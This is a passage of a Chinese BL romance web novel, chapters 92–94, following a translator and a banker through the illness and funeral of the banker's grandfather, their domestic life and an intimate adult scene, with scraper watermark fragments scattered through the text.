江知羽往日里作为服务商低调惯了,本想习惯性地掩盖风头,这会儿盯着戚述看,却临时改口嗯嗯了两声。 他这几天没有调整好作息,很早就犯困了,说完就靠在戚述的肩头,垂着眉眼打哈欠。 戚述瞥了眼挂钟,继而捏他的脸颊,打开客厅的液晶屏“现在睡了半夜又要醒,看一会儿电视。” 江知羽没听话,困意被小动作干扰,索性躲到角落里去。 瞧着江知羽的眼皮子就要合上,戚述不忍心看他强撑,调小了设备的音量,但没有直接关掉,免得这人睡得太深。 再从卧室里找出一条毛毯。 被披上毯子的时候,江知羽蹬了下小腿,感知到屏幕的光线,又翻过身背朝着外边。 只是没到半小时,他依旧被电视吵醒。 朦朦胧胧之间,似乎媒体播报了“永煊”的名字,江知羽关联到戚述,冷不丁地打了激灵。 他坐起身循声望去,有消息称集团董事长昨日突然住院,已有两天没传出任何消息。 采访到的内部人员表示,经过高层一致同意,目前所有公事都由戚立晋的秘书室代办,生产和交付依旧在平稳运行,之后也会妥善过渡,希望所有人可以给予信心。 饶是如此,江知羽打开大盘,发现永煊行情低迷,今日的跌幅难以挽回。 沦落到这种结果有迹可循,戚立晋显然非常独断,以往溺爱长孙,可以把人惯得扭曲,后来对其不满,就在节骨眼上将人驱逐出去。 以小见大,他平时怎样对待其他亲友,往日又如何对待戚述,估计态度愈发无谓,给蜜枣还是摆脸色全凭他一时的判断。 专横到这种程度,理所应当也表现在对权势格外执着,数十年来没考虑过让位,给后续留下了巨大隐患。 戚立晋的确有商业能力,作为领头羊带领公司蒸蒸日上,而在他笼罩的阴影里,周围人则被滋养成了吸血吃肉的跟屁虫。 如今的青黄不接全是由他导致,他稳定的时候风平浪静,一旦自身崩塌,聚在他旁边的就会乱成散沙。 江知羽还记起戚述之前提过,戚立晋有不轻的胰腺问题,去年跑过好几次医院。 这个器官的病症来势汹汹,恶化得很快,并且难以治愈,如同在戚立晋的祸根上点了炸i 弹。 时有幸提醒您《我们可没有谈恋爱!》第一时间在[笔趣*阁,记住[(. 他肯定以为自己可以慢慢地放手,再过五六年着手扶持接班人,然而他现在就没有时间了。 实业品牌最重要的就是信任度,外界人尚未对其他人眼熟,他就要匆匆地退场,手边连个值得培养的亲信都没有。 江知羽能够猜到,戚立晋肯定内心焦灼,甚至时常感到挫败。 老人再看戚诺不够成器,那种期望的落差转换成恨意,可以轻易地施加打击,让对方因为自己的怒气从此低头做人。 “据悉,永煊开年来一直在与职业经理人积极联络,也有知情者后台爆料,戚董并不看好这种托管模式……” 抬手摁了遥控器,主持人没有把话讲完,江知羽的耳边终于清净。 也对,有些老一辈重视血脉,尤其戚立晋在管理层都安排了诸多亲戚。 结合上次股东会的印象,江知羽思索着,要戚立晋同意一个外人打理集团,估计被拉去抢救室都不肯插上氧气管。 他一边想着,一边站起来,下意识左顾右盼,寻找戚述在哪里。 戚首席在书房里加班,这间屋子的布局重新调整过,已然方便两个人一起办公。 书柜摆着江知羽前不久拿到的荣誉证书,还有领奖时的照片,戚述从小没这么干过,去苏州看到江家奶奶把奖状挂起来,回头就照模照样地弄成了这般。 其实江知羽每次看到都不太好意思,搞得自己似乎很显摆。 无奈戚述乐在其中,明明对方也获奖无数,非要像是沾他的光去炫耀,江知羽干脆睁一只眼闭一只眼。 “可以进来吗?”江知羽看到书房细开门缝,朝外透出些许光亮,随即用唇语向戚述询问。 戚述在打电话,听到了细微的动静,偏过头来与他微微颔首,表示自己不是保密通讯。 江知羽瞄到桌上有几份草拟的协议书,投行时常会与律所打交道,这类非诉文件在工作时极其常见。 很快,戚述挂断电话,收拾着桌面“还以为你要多歇一会儿,我本来打算加完班喊你。” “生物钟差不多修正过来了。”江知羽回答。 他略微停顿半秒,再道“你今天走得很早,是不是去医院了啊?” 饶是他尽量旁敲侧击,戚述也立即反应过来。 戚述解释“对,今天爷爷的状态不好,该去的差不多到齐了,他们都等在走廊上,盼着能进去探视,不过我赶着开会,没有待多久。” 这么说着,他嗤了声“不去的话八百个姓戚的轮流催,顺路露个脸吧,正好看看到底是什么情况。” 江知羽拍了拍戚述的胳膊,思忖“这次很严重?” “医生说大限在这几天吧,能扛到今年已经是他底子很好,砸药砸设备勉强熬得住。”戚述淡淡地说。 他没展现出什么情绪,悲伤惋惜亦或是轻蔑,在他的脸上难以捕捉。 听他这么说着,江知羽坐在旁边眨眨眼,再被抚过头顶,这个动作终于流露出了几许依赖。 江知羽没有闪躲,也没有开口戳破,任由戚述悄悄地借此寻求安慰。 他想到脐带血,想到戚述说起哥哥和爷爷隔代亲,话语里含糊地跳过了自己。 还想到那场强弱分明的离婚官司,聂茹熙在浑水里被逼得近乎剥去一层皮,而戚述主动站出来跟着她离开…… 这些事情每一件都足够绊住步伐,戚述却全以轻描淡写的语气揭过。 这种姿态内敛、 强大、成熟,非常能给人安全感,江知羽一度沉浸,此刻却有别样的滋味。 他难得觉得言语稚嫩,于是僵了一小会儿,生疏地用脑袋蹭了蹭戚述的掌心,以此作为自己的回应。 “没事,绒绒你怎么像小猫呢?[(.” 戚述弯起眼睫,挠了挠江知羽的下巴。 江知羽这下侧过脸“我不喜欢听你说这个词语,你不是铜墙铁壁,可以脆弱和犹豫。” 戚述认真说“但我什么感觉也没有,爷爷病成这样,我偶尔会想,小时候明明很想得到他的欣赏,希望他可以分出一些注意力,像表扬戚诺那样也夸我几句。” 江知羽怔了怔“你现在得到了他的肯定。” “我却不是小孩了,他到底揣着什么态度,对我来说一点也不重要。”戚述言简意赅。 他大概一直用这些话反复引导自己,到如今的确坚定地摆脱了过去,没有活在不甘之中. 可生死是人生大事,内心真的毫无波澜么? 江知羽望着他,说“好,我明白,你无论做什么决定我都无条件同意。” 戚家到了这一步,近期必然会清算以及分割财产,江知羽对这些并非全然懵懂。 不管戚述究竟怎么打算,他知道对方最终会与自己商量意见。 在戚述措辞之前,江知羽直接给了答案,这是一种跟随,也是一种支撑。 戚述闻言与他额头相抵“我和遗产律师简单接触过,他觉得规划得有一点过激,让我再考虑两天。” 江知羽说“他绝对没见过你上班是什么样子,打回一份文件还要批注,叮嘱人家梦游够了再来。” 戚述说“蒋董最近留在国内盯业务,他和我说太凶的人不会有老婆,所以我变得很本分。” 他能和“本分”挂钩就有鬼了,江知羽不禁感到纳闷。 “真的假的,你够听话么?那你少把我往你身上扯。”他挑刺。 为了表达自己的警告,江知羽攥起座椅扶手挂着的领带,将其顺手捋顺了,很轻地往戚述的侧颈拍了拍。 戚述没有任何畏怯,扯起了嘴角“我掂掂你养得重一点了没有。” 这句还算正常,下一句逐渐离谱“啧,昨天喂了你那么多,全都在安全套里,宝贝,你的肚子还是太不能吃了。” 江知羽伸出两只手指,抵在戚述的心口,暗落落地把人往外边推,闻言差点搡他一把。 “请您往后退。”江知羽想要与他拉开距离,板正地用上敬语,“戚首席,我想去睡觉,有劳您抬抬胳膊。” 他靠在墙边,被戚述的臂弯一拦,就堵在了死角。 说得太礼貌没点威慑力,戚述听到他用办公的音调讲话,还让他穿上正装再来一遍。 江知羽完全不配合,前阵子两人又是在瑞士异地,又是在法国分居,好不容易到家,他已经百般纵容。 太惯自己的男人没有好下场,江知羽很有底线地婉拒了。 他还说“你平时工作那么吃力,不应该赶着休息吗?别太透支了害得我再疑神疑鬼,业内都在说你们这种需要多防着点,尤其你这种入行好几年的人。” 戚述愣住“如果我没记错,我的体检报告很正常?前一天通宵赶路演,后一天做心电图照样没事。” 这么讲着,他忽地意识到了不对劲,直勾勾盯着江知羽。 “我怎么了,你之前在担心什么?”戚述说。 “台风天本来好端端的要过夜,没想到你拿上外套就走了,和我留一句今晚不想做,你猜我当时能以为是什么?” 江知羽被困在墙角很懊恼,被如此询问也倍感无辜,蹙着眉头和戚述倾诉。 话一出口,他心里有些发虚,可是输人不能输阵,搞得理不直气也壮。 “新闻都不知道报导过多少次了,男科挂号八成是一些高薪精英,你今年29了,扪心自问不值得关心么?你看看我那时候就有多么在乎你!” 戚述打断“哦,你觉得我是潜在患者。” “没有,不是这个视角。”江知羽观察着戚述的脸色,辩解,“我就算对你有误会,也没有看不起你,想到的时候很自责而已。” 天知道为什么要提到这茬,他此刻已然没有后悔药,手头捏着深色的领带,很想把自己的嘴给绑起来。 江知羽避无可避,企图用示好来掀篇“……毕竟真那样的话,怎么说都怪我和你睡觉,把老公用得不行了。” 作者有话要说 宝宝怎么谈上恋爱都不说谎了,这么喊的话你老公必然要和你大play特play 时有幸向你推荐他的其他作品 第 93 章 春日 第93章春日 讲得那么体贴,但愿戚述不要当回事,然而话一说完,对方的眼神更加捉摸不透。 江知羽潜意识感到不妙,后背撞到墙壁,肩膀还缩了一下。 然后他的下巴被指腹摩挲,再往上抬了一点,他不得不与戚述直视。 “刚才说什么了?江知羽,我没有听明白。”戚述道。 拇指和食指缓慢并拢,薄茧在皮肤上的触感鲜明强烈,嘴唇被迫微微地张开。 被注视着,江知羽错开目光,吐字有些辛苦。 “我讲,你那天突然回去之后,我失眠了一整晚。”他模糊重点,“我为你心事重重。” 慢吞吞地说到这里,那只钳制的手松开了他,但江知羽尚未舒出一口气,忽地闭了闭眼睫,再睁开的时候眼角泛着一抹红。 他因而看向了作祟者,慌张握住戚述的小臂。 衣摆被撩开,掌心带着温热的体温一路挪去,摁过白皙柔软的腹部,然后是薄薄覆着一层皮肉的肋骨。 指尖在这里徘徊片刻,动作非常克制,就当江知羽以为戚述会收回去的时候,继续往上面游移。 “不好意思,还是没听清。”戚述说得彬彬有礼。 江知羽正在隐隐地忍着什么“我给你泼了脏水,一个人想歪到十万八千里,也不承认你对我是什么心思。” 事到如今,他当然了解戚述当初为什么克制,不过是不想自己混淆用意,爱远远比性更有份量。 这些依旧不是戚述追求的答案“再想想你刚才的话,我觉得自己想要的不是这个。” 他的嗓音很低沉,带着顽劣意味“绒绒,再说这点脏水有什么要紧?你昨天还弄得我们身上都一塌糊涂。” 江知羽咬住嘴唇,隔着不算厚实的衣料,又试图去制止住戚述的手。 “可不可以别揉,好奇怪。”他有一些无措,“都比旁边肿了。” 可是戚述没有停下来,过了半晌,江知羽再别扭地说“老公。” 这话似乎是咒语,戚述明显被控住了,只是迟钝不过两三秒,又忽地俯身过来,用鼻梁贴了贴江知羽的脸颊。 之后被亲得呼吸不过来,江知羽的后脑勺也往墙边贴,被戚述抢先用手垫住,继而朝前一送,彼此吻得更深。 江知羽被竖抱起来的时候,以为戚述会带他回卧室,不料两个人来到了书柜旁边。 意识到戚述打算做什么,江知羽蹬了一下腿,不轻不重地踢在戚述的膝盖上,而对方表现得纹丝不动。 如此,他就这么半靠着落地书柜的透明玻璃,只要往旁边扭头,就可以看到自己的照片和证书。 相框里的江知羽西装革履,整个人秀美端正,画面快要溢出锋利感,当下却完全反着来。 解开的扣子袒露出一片锁骨,前几天留下的红痕还没消退,又陆陆续续地添上了新的印记。 衣服被弄得凌乱不堪,气息也没好到哪儿去,眉梢眼角如同被春水浸透了,一左一右形成了巨大反差。 他先是柔软地蜷缩,继而颤栗着绷紧,混乱时抓住了戚述的衣襟,施力的骨节都在微微发抖。 戚述食髓知味“还想听,可以再叫一声吗?你第一次喊得太快,第二次又太轻。” 江知羽觉得这种称谓很值得难为情,赌着气不肯再答应。 双双来到卧室,床边灯光明亮,他开口提出关灯 ,戚述却说自己想瞧得更清楚一点。 为此他还丢开了两只枕头,让江知羽不要把脸埋进去。 江知羽很纳闷“白天你也没少看,我长什么样,难道你记不住么?” “江总监的记住了,可江知羽的还不够,他总是在晚上高述说。 江知羽情不自禁地怔住,换了角度搪塞光线刺眼,随后那条深色领带物尽其用,绕过他的眼前打了个结。 视觉暂时被剥夺,略微有些朦胧的光亮,这带来的刺激比黑暗更多,因为他知道这在戚述的视野里,一切的反应都直观和赤i裸。 与此同时,他的其他感官被一再放大。 戚述压抑着的声息是何时变得急促,自己被细致撩拨是什么滋味,江知羽极其明晰地感知着。 偏偏他看不到戚述的一举一动,无法掌握下一步的动向,这些未知数让他比往常茫然,也因而显得矜持和笨拙。 江知羽努力地迎合着,尽管他感到有些棘手,每当他心绪起起伏伏,就不由喊戚述的名字,戚述会立即给他的回应。 而后有包装被撕掉的响动,江知羽感觉自己的小腹下方被摁着,示意似的略微压了压。 紧接着,戚述就在他耳边讲话“这么乖,怎么动都不动?” 江知羽说“大概是我很中意你,所以多纵容一点没关系。” 随后戚述吻了吻他,摁着肚子的位置往上移了一点,格外无度地讨要“顶到这里也可以不喊停吗?” …… 江知羽很后悔,曾经自诩意志力惊人,实际上抵挡不住轻声细语,底线和原则都抛到脑后。 时差是真的调回来了,他前几天都睡得太早,这下从晚间八点多尽兴到凌晨。 江知羽后面昏昏沉沉,被抱去浴室的时候没什么意识,最后沾上枕头就睡了过去。 以往回避感情胡编乱造,如今毫无提防太过坦诚,无厘头的恶意揣测也当面说得出来,就这么惹来一身祸患。 江知羽醒来依旧很懊恼,软绵绵地靠在床头反省。 这时戚述碰巧吹着小调晃悠进来,看起来神清气爽,似乎恨不得在脸上写一句有对象的男人就是不一样。 江知羽瞥向他,莫名有些不爽,默默地酝酿着发难,然而戚述抢过了话头。 “早饭我们吃虾饺吧,正好家政阿姨之前包了一点。”戚述说,“想喝咖啡还是豆浆?” 江知羽被翻来覆去那么久,这时自然饿了,随即转移注意力“豆浆是新鲜的么?浓点,多放两勺糖。” 洗漱完走去餐桌,常坐的椅子被放了靠枕,为防止江知羽尴尬,戚述那边还给自己摆了一个。 江知羽心说,这点哄人的小伎俩,当自己有那么容易心软? 分房间,一定要分房间,他需要好好地清净几天。 刚想到这里,戚述端着早饭出来了,两人吃得一模一样。 江知羽发现戚述往往如此,他生病的时候只能吃白粥小菜,对方哪怕也会跟着清汤寡水。 不仅在自己身旁是这般表现,去医院附近餐厅也是一样,江知羽之前预约衣服送洗,从戚述口袋里摸出一张餐饮小票,就点了烧麦和紫菜汤。 那时候江知羽很不解,健康的成年男人怎么饮食这么寡淡? 而戚述与他解答,记着他有忌口和束缚从而不好过,自己尽管无法分担,却也无心享受,怎么可能转头去好吃好喝。 “还煎了荷包 蛋,新买的锅子不太趁手。▂(笔趣%阁.” 这时戚述道,“撒了点盐没有倒酱油。” 江知羽清清嗓子,缓慢地坐下来,发觉两盘荷包蛋的品相波动很大。 戚述那盘有一块都焦掉了,递给自己的尚且安好。 “你最开始走神了吗?”江知羽很好奇。 被这么一问,戚述弯起眼睫。 “煎蛋是这样,最开始那只属于试验品,不是很好掌握火候,之后有手感了就不会出错了。”他算不上大厨,碰到新锅需要适应一阵才行。 江知羽一边听他解释,一边用筷子挖掉焦掉的那块,然后夹出自己的蛋黄,放到戚述的碗里。 他继而若有所思地“噢”了声,忘记了自己刚才在打什么草稿,之后全程在听新闻播报。 这一阵休息够了,江知羽重新开始坐班,最近外事交传的活比较多,每一句内容和语气都要仔细斟酌,他打起了十二分的精神。 周柯本就有意去提拔他,以往时不时给予锻炼机会,如今收到总部意思,更是对他的日程上心规划。 倾斜资源是机遇也是风险,高层要考验江知羽是否能够胜任,派的活都不太容易,人员管理上也划了一个指标,用于量化他的工作和能力。 大家都看得出来江知羽肯定会升,下属们记得他情人节玩消失,偶尔打岔说他是不是今年爱情和事业双丰收。 “有数就好。”江知羽道,“以后你们想挑这个日子团建,我光买单不奉陪了。” 同事说“我们这次挑的地方去到就是赚到,都是江老师走得太着急了,过了大概五分钟,东边有无人机表演呢,可惜你正好前后脚错过。” 就在最佳观赏地的江知羽“。” “对啊,我想把老大喊回来的来着,好歹看完再走,那天真的很漂亮,也没五颜六色的瞎闪,广告都没打,就和星星一样。”其他同事说。 江知羽“……” 连许一晗也插话“您是没瞧见这个场面,唱歌的都临时下麦了,所有人围在窗边瞅着!” 面对他惋惜的视线,江知羽干巴巴接茬“原来如此,好羡慕。” 有人说“我搜了下成本,五十来万,江老师手起刀落也能拿下!” 江知羽头一回听到价格,顿时心在滴血“多少?这真的不是在洗钱吗?” “这种花里胡哨的真这么贵,估计哪家富二代拿来求婚。”许一晗道,“没成功可糗大了。” 江知羽觉得自己赚得还不够多,开始看自己的排期表,顺便应付下属的搭话。 “但人家也很难不成功吧。”他替戚述撑腰。 楼下的玉兰和杏花开了又谢,城市里又有了杜鹃的颜色,江知羽出行都会降下车窗,空气里都是新鲜气息。 这个季节最为清爽,炎热的温度还没有到来,让人很想在路边多走几步。 可惜江知羽没空优哉游哉,眼前有一场海外赛事,他要赶着去做转播。 算是一份小活,纯粹出于兴趣接了下来,翻译做到他这程度,只要江知羽愿意,经常能接触丰富多彩的趣事。 这次他的搭档是位女士,与他不在同个公司,不过他们早就互相认识。 人朝他打招呼,“上次在商务部研修班见过,都已经两年没碰过头了。” 江知羽笑着说“间接打过不少次照面,联合国支持的那场互译大赛,我之前翻过名单,你是医学单元的冠军。” “哎(笔趣阁., 上升期嘛,多点东西傍身好爬坡。”女人道,“你什么时候爱做击剑解说了?” 江知羽温和回答“最近补过不少功课,还去场上被教了两招。” 这场是佩剑比赛,江知羽参照选手名单,提前备了不少资料,解说提到的术语也都了然于心。 有条不紊直到节目结束,电视台请他们吃工作餐,江知羽和搭档来到餐厅,各自点了份套餐。 这里没什么空位了,解说坐在他们旁边,简单地互相致意之后,自顾自地与伴侣打电话。 江知羽起初不了解自己即将面对什么,接下来的整整半个小时,他恨不得干脆聋了。 偏偏厨房做菜特别慢,两个翻译走又走不掉,只能煎熬地听着解说你侬我侬。 江知羽从没见识过那么多肉麻话,一会儿说妞妞让人家显得像小孩,一会儿成了老婆子仿佛两人已经共度大半辈子,再一会儿“甜心”脱口而出,让自己头皮发麻。 套餐端上来没五分钟,搭档动了几下筷子意思意思,率先逃命似的离席,说自己还有事要忙,嘱咐他们随意。 借口被她用了,自己再说就显得刻意,江知羽凝重地嚼了几口饭粒。 好在解说过不久也挂了电话,与他倾诉“异地恋太惨了,隔着太平洋只能随便对付几句。” 被秀恩爱,江知羽不甘地说“嗯,上回我去出差也这么想,有情人还是在身边最好。” 解说意味深长“兄弟,你有故事啊。” 江知羽无奈“没你的爱称那么复杂。” “你看着那么俊气,游戏人间也够了,合着这么板正啊。”解说道,“像是手机联系人全写大名的那一种。” 江知羽愣住“这样的页面才一干二净啊,我连我爸都这么标记。” 解说道“一码归一码,你知道拍拖第一步最爽的是什么吗?” 江知羽根据自己的经验,得到的结果是上床,自知这种回答不能见光,选择了懵懂地摇摇头。 解说疑惑“当然是给人家改备注名啊,从爱心符号换到小猫小狗,你以前没有干过么?” 江知羽的爱情萌芽时,自身已经很成熟了,像这种青春悸动的小动作,确实没怎么做过。 他表情空白,解说见状唏嘘“也对,你看着就像是被人追的,可以直接跳过这种自我满足的步骤。” 江知羽打了几句马虎眼,说自己也就谈过一场恋爱,对这些花招都不太了解。 并且对他来说,取绰号有点太幼稚了,江知羽委婉表示哪怕是自己主动,也做不出来这种事。 事后,江知羽对比自身情况,好奇其他情侣都怎么喊,睡前上网浏览了一番,发现这些还有系统性的推荐和整理。 “绒绒,可以睡了。”戚述掀开被子上床,提醒。 江知羽调暗屏幕亮度,背对着自己的恋人,看着网络上的各类注解。 “突然有正经事要忙,你先休息吧。”他道,“等我办完就来。” 防止戚述偷看,江知羽还时不时回头瞧一眼,最近对方要与遗产律师沟通,两头跑很疲惫,这会儿已然呼吸轻浅。 江知羽忍不住了,简直在安利贴里挑花眼,每一个都很想套戚述头上。 就在他戳开戚述微信页面的时候,枕边人忽地翻过身,啄了下江知羽的发旋。 江知羽差点被吓住,再看戚述半梦半醒,显然没发现自己在做什么。 继而他轻手轻脚点开备注功能,看着那行空白,不假思索地敲出三个字 [亲亲怪] 作者有话要说 第 94 章 柚子 第94章柚子 江知羽自认没有给戚述随便瞎编。 没恋爱之前,戚述规规矩矩,好像心如止水,谈了之后也始终拿捏着分寸。 转折点是回廊花前那番亲密,这个人就露出了真面目。 好了,睡前要亲一口,毕竟情侣没有晚安吻怎么算真情实感,睡醒也要亲一口,既然讲究仪式感了那要做个轴对称。 日常的说辞更是五花八门,江知羽难以细数,本来嫌黏糊还会挣扎,现在早已放弃抵抗。 不过,戚述在家里的调性如同无赖,到外面倒是端得人模人样,公共场合总会有意收敛,自觉与江知羽保持适当距离。 一段亲密关系终究是私事,尤其两家公司偶尔有业务交集,掺杂个人情绪反而对双方不好。 他们这方面向来默契,头脑也拎得清,热恋期谁都气血澎湃,想要第一时间拿着喇叭到处昭告,可彼此的社会身份还是多加考量更好。 不妨让时光为此增加筹码,暂且循序渐进,没有囫囵袒露,也不用力遮掩。 有时候戚述过来接送,车子避开主要人流,潇潇洒洒地往旁边一靠,如果江知羽需要加班,就在旁边的清吧稍坐。 也有时候是江知羽跑到投行附近,挑选餐厅打包双人夜宵。 坐上副驾的时候,食物的浓香溢满整个空间,二十分钟的路程总有红灯,但他不再着急和无聊,打开盒子抽出纸巾,投喂似的让戚述先吃一口。 周末如果空闲,他们会结伴出游,有次逛展被下属认出,对方惊讶地寒暄“戚总,您和江老师来玩?” 两个人被逮得措手不及,江知羽目光游离,戚述则面不改色地说“我来调研,正巧碰到江总监,过段时间有合作,刚刚聊了几句前期方案。” 这个回答过于符合寻常印象,下属根本没有多想,受教地点点头,还心说,领导不愧是领导。 差点以为要被揪个正着,江知羽往回看了好几眼,戚述说“啧,你差点要对我负责了。” 江知羽脸皮很薄“那我不敢想我的部门会怎么起哄。” 他们习惯了低调行事,要说恋情影响事业,肯定犯不着如此严重。 即便可能会有一些闲言碎语,他们也已经各自站稳脚跟,不会被这点舆论影响职场发展,如果真有公开的那天,江知羽相信肯定是祝福最多。 如今,蒲音从上到下对江知羽的感情状态心知肚明,偶尔有人瞧见江知羽在各个项目连轴转,还会私下揶揄。 他打听嫂子独守空房会不会难过,话里话外把人家猜测得温柔小意。 哪来常年对外扑克脸、身材比在场诸位都结实的嫂子,江知羽听完就扶住了额头,表示对象比自己还辛苦。 这一句话全然不是敷衍和玩笑,他所在的精品外企讲究人文福利,即便有繁忙阶段,事后也会补充休假,而戚述那边可就不一样了。 无论是哪里的投资机构,都与高强度、高压力和高回报密切关联,更别说这两年全球的并购很活跃,几方的巨额利益互相交织,流程每一个节点都逼得很紧。 做到戚述这个首席头衔,级别范畴具有很高的不可替代性,虽然不再繁琐和重复,但责任越大,负担也会越大。 好在他自身能够游刃有余,也就不会衬得这份职业很棘手。 凌晨四五点,迷迷糊糊感觉到戚述回来了,江知羽撩起眼帘,看着对方有条 不紊地洗漱和收拾。 “烦了的话不要硬撑,你想换换状态也行。” 江知羽说,“我攒着休假可以陪你。” 戚述以往过得太紧绷了,他担心对方并不够快乐,只是出于一种惯性在不断向前。 不过,戚述回答“我没有在逞强,你怎么突然这么想?” “感觉你对金融的兴趣也不是很大,好像和其他行业没什么区别。”江知羽说,“最开始为什么报这个专业?” 戚述是保送生,选择专业的自由度很大,大多数同学的意愿都会和竞赛学科沾边,去其他领域的寥寥无几。 “招生办和我签合同的时候,说金融的分数最高,到时候也可以修第二学位。”戚述解释,“我看了一下就业报告,感觉还可以就没纠结。” 江知羽说“你会不会觉得枯燥?” “我看得比较简单,收益可观就可以。”戚述说。 他再和江知羽说,不是所有人都能找到热爱的领域,并长久地以此为生,从中得到诸多价值感。 像江知羽可以有意识地争取,坚持下来收获回馈,是一件好运又艰难的事情,戚述很清楚,对方在其中能感受到幸福。 “我对自己的也很满意。”戚述说。 “工作在我的眼里属于工具,它能为我收获想要的结果,从最开始我就期望多赚点钱,物质的积累可以培养底气,我能靠它得到更多选择权。” 讲到这里,他轻笑了下“这种想法是不是太功利性了?” 江知羽反驳“明明很了不起。” 戚述说“那时候我妈和叔叔再婚生子,可能对我有点影响。其实我从来没排斥的感觉,准确来说是观察到一个和和美美的家庭,原来有的情谊可以这么好,然后我就放在心里眼红。” 彼时戚述不过十六七岁,看不清未来会身处何处,过往的阴影也没有散去,有这种想法再正常不过。 江知羽能猜得到,正想要喃喃什么,戚述却率先开口。 “我现在就不羡慕了。”他道。 “他们有的我也能有,我上班的回报率很高,可以让我们有更多支撑,就算你哪天想去地球任何一个坐标隐居。”戚述说。 江知羽的确生性向往自由,曾经一度不认为自己会长居于此,但如今有了牵挂,怎么可能说走就走? 他无奈地接话“会不会有点疯?” 戚述说“没关系,这种要求完全不任性,你可以提出来,我也能陪着你一起。” “托举或是兜底我随时都有资格,这是我规划职业的时候,就最想拥有的东西,有什么事物让我在乎,我就要有能力牢牢把握住。” 讲的时候,他的语气平静又笃定,继而解释“所以我也在追求自己期望的人生,它带来的满足不会比任何人少。” 两人第一次相互注意,是在夜色里擦肩而过,谁能想到未来有天深夜,他们会倾诉到年少就种下的执着? 江知羽听完,先说了一句“好的。” 随即,他又扯了扯戚述的睡衣衣摆,补充“我才不会去荒山野岭或者大草原上过日子。” 戚述很认可“嗯,没通网的地方你肯定受不了,估计倾向去冰岛钓鱼。” “也不去,我就要在这里。”江知羽固执地澄清,“就要和你在热热闹闹的地方。” 这种话差点把戚述得意死,可惜没能来得及抓过江知羽多揉几下,对方就匆忙地起床了。 有 个跨国连线订在凌晨时分, 好在可以居家工作,江知羽之后倒头睡回去,而戚述准备出门了。 戚述最近属于特殊情况,除却三天两头出差,还要处理戚家的一些杂事。 医生起初说大限可能撑不过几天,戚立晋却是一个奇迹,他的病照理会引起剧痛,可在他身上却没如此表现。 最顶尖的医疗资源围着转,他在重症病房勉强多熬了一阵,终究到了灯枯油尽的时刻。 他又抢救了一次,大抵是回光返照,术后竟有了些力气,谢绝所有哭天喊地的亲戚,喊来遗产律师单独进屋,要做最后的确认和嘱咐。 律师出来没到半个小时,戚立晋的心电图逐渐微弱,最终拉成了一条直线。 根据他留的那些话,遗嘱暂时不予公开,被打电话的时候,戚述还在纽约出差。 “知道你爷爷快不行了,还跑得那么远?”二叔气愤,“你赶紧买票!” 戚述八风不动“这里有笔三十多亿的交易,要是你能担保我走了不出岔子,那我这就过来替你守灵。” 二叔被说得噎住,指责他实在不孝,然而刚蹦了一个词,就被戚述冷心冷情地掐断电话。 随后,戚述向江知羽说了爷爷的事,自己看了下手头进展,最快也就是赶上葬礼。 江知羽拨来语音“你要是抽不出空,需要我做什么吗?” “能不能帮我拿下快递?”戚述淡淡应声。 “今天下午应该能寄到,之前的雨伞被杨牧川借用,那人不知道丢哪儿了,我重新买一把。” 居然是这种细枝末节的事情,犯不着特意打乱自己日程,而且戚述看来没怎么低落,还有心思看网购进度。 江知羽和他做对“我这会儿在澳门出差,杏仁饼可以捎一盒,其他的够呛,你就老老实实等着吧。” 戚述“。” 按照习俗,守灵三天再安排下葬,当日的天气很阴沉,戚述差点没办法参加。 京市的雷暴往年从四月持续到九月,大多数时候晴空万里,小部分会遇到狂风骤雨,很不巧,这次天气预报还发了黄色预警。 好在戚述抵达时,雨堪堪地坠在云层上,否则飞机要去其他地方降落。 戚立晋的葬礼聚集许多商贾,一切按部就班,祭奠时各路亲戚纷纷垂泪,还有人扑到棺木前嚎啕大哭。 他们仰仗的支柱倒了,以后想献殷勤都不知道看谁脸色,戚述漠然地瞧着,眼底没有悲伤,甚至有几分讥讽。 “白眼狼,今天公布遗嘱了肯过来了?”二叔看他如同局外人,训斥,“有本事你就和我们撇得一干二净!” 女眷打圆场“阿树也是无奈,他工作不在永煊,你们是好请假不去集团,他还要听老板安排,你看,这会儿不是来送他爷爷最后一程?” 二叔说“松晟的蒋董来得可比他早,昨天就送过花圈了。” 戚述道“您别着急上火,我和你们断了,对我是无所谓,等律师念完爷爷留的话,要是您从这儿滚出去,小孩国际高中的学费还能续上么?” 话一出口,二叔脸色铁青“你……” 戚述打断“子女不能让父母安心,也是一种不孝,说白了,你但凡有点能耐,都不至于惦记你爹给你漏点财产,咱们的白眼狼程度半斤八两。” 他慢条斯理地讲着,对二叔说“所以你就闭嘴吧,消停点对你自己好。” 耳边终于清净,这场丧事从清晨办到正午 , 满目是白花和黑衣。 前来吊唁的朋友们逐渐散去,律师要在戚家的大宅公布遗嘱,随后让近亲们纷纷移步。 戚述暂时没有走,蒋禹旭给他递了支烟“来一根?看你在里头中饭都不吃,要不要咱们换家饭店?” “不,刚替你搞定tmt项目,我这两天说得嗓子疼,什么都懒得动弹。”戚述推拒。 于是蒋禹旭径自点烟“我犒劳一下功臣,他们回去都不载你,等等我来开车送你过去。” 路上飘着雨点,敲在窗上蜿蜒滑落,残留的水渍如同泪痕。 戚述给江知羽发消息,让人出门注意天气。 江知羽已经从澳门回来,答复[我在见客户,他的公司厂区排水不太灵,看架势我马上要在前线抗洪了。] 戚述看到这行话,不由地想象画面,然后勾了下嘴角。 蒋禹旭说“怎么回事,那些律师和你通风报信了是吧?” 戚述说“戚诺很早就出局了,选二叔或者三叔上去,其的董事不同意,股民肯定也反对,大家费劲去聘职业经理,戚立晋又说自己奋斗了大半辈子,这些心血怎么可以交给外人。” 语罢,他坦诚说“律师早和我沟通过意见,他们大概要怎么分配,我不用去听都能了解。” 蒋禹旭道“我看你的那些叔叔阿姨都挺有防备。” “从爷爷拿股份补偿我的时候,他们就是这样了。”戚述道,“看人吃饭就得疑神疑鬼。” 蒋禹旭说“我还是那句话,你想怎么收尾都行。” 戚述很淡地“嗯”了声,望向车外没再讲话。 他本来在分析公事,一家行业大头风光多年,刚在自己的手上被瓜分和吞并,防止出现系列动荡,后续还得愈发谨慎。 这个圈子总能看到风水轮流转,物是人非的消息多了去了。 过了会儿,戚述又琢磨,永煊是否也会迎来这一天? 戚立晋和他的能量曾经如同大山,能压得自己难以喘息又无法忽视。 那座庄园也一度是戚述认为的全世界,年幼的他尚未学会奔跑,走路还不利落,在楼梯和花厅打转,被戚诺推到过地板上。 戚述尝试和长辈告状,好多人都说他是重心不稳,兄长怎么可能故意拿他取乐?而且男子汉大丈夫,磕了碰了算什么呢? 幼时的他学会沉默,内心萌生了脱离的冲动,可惜他迈出去的步子是那么小,绕到门外的喷泉就足够遥远。 而他现在走得那么远了。 